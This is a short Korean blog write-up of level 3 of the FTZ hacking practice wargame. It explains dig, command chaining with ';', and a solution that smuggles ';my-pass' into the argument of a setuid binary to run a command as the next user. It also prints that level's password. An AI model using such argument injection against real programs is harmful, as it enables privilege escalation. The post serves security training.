ABOUT ME

-

  • [FTZ] Level 3
    보안/Pwnable 2021. 8. 23. 14:43

    Backgrounds

    Linux Commands

    dig

    dig 명령어는 DNS 서버에 대한 정보를 얻는 데 사용한다.

    dig @8.8.8.8 www.google.com

    위 명령어로 구글 public dns인 8.8.8.8을 지정해 google.com을 질의할 수 있다.

    한 줄에 여러 명령어 실행

    쉘에서 한 줄에 여러 명령어를 실행하려면 다음과 같이 사용한다.

    [CMD1]; [CMD2]

    문자열 형태로 명령어 전달

    문자열 형태로 명령어를 전달하려면 다음과 같이 사용한다.

    "[CMD]"

    Solution

    find / -user level4 2> /dev/null

    위 명령어로 소유자가 level 4인 파일을 찾는다. 실행 결과 /bin/autodig을 찾을 수 있다. /bin/autodig은 dig에 전달하는 인자를 하나 가지는데, 해당 위치를 다음과 같이 문자열로 치환한다.

    /bin/autodig ";my-pass"

    이를 통해 level4에서 my-pass을 얻을 수 있다.

    Flag

    suck my brain

    Reference

    '보안 > Pwnable' 카테고리의 다른 글

    [FTZ] Level 4  (0) 2021.08.23
    [FTZ] Level 2  (0) 2021.08.23
    [FTZ] Level1  (0) 2021.08.23
Designed by Tistory.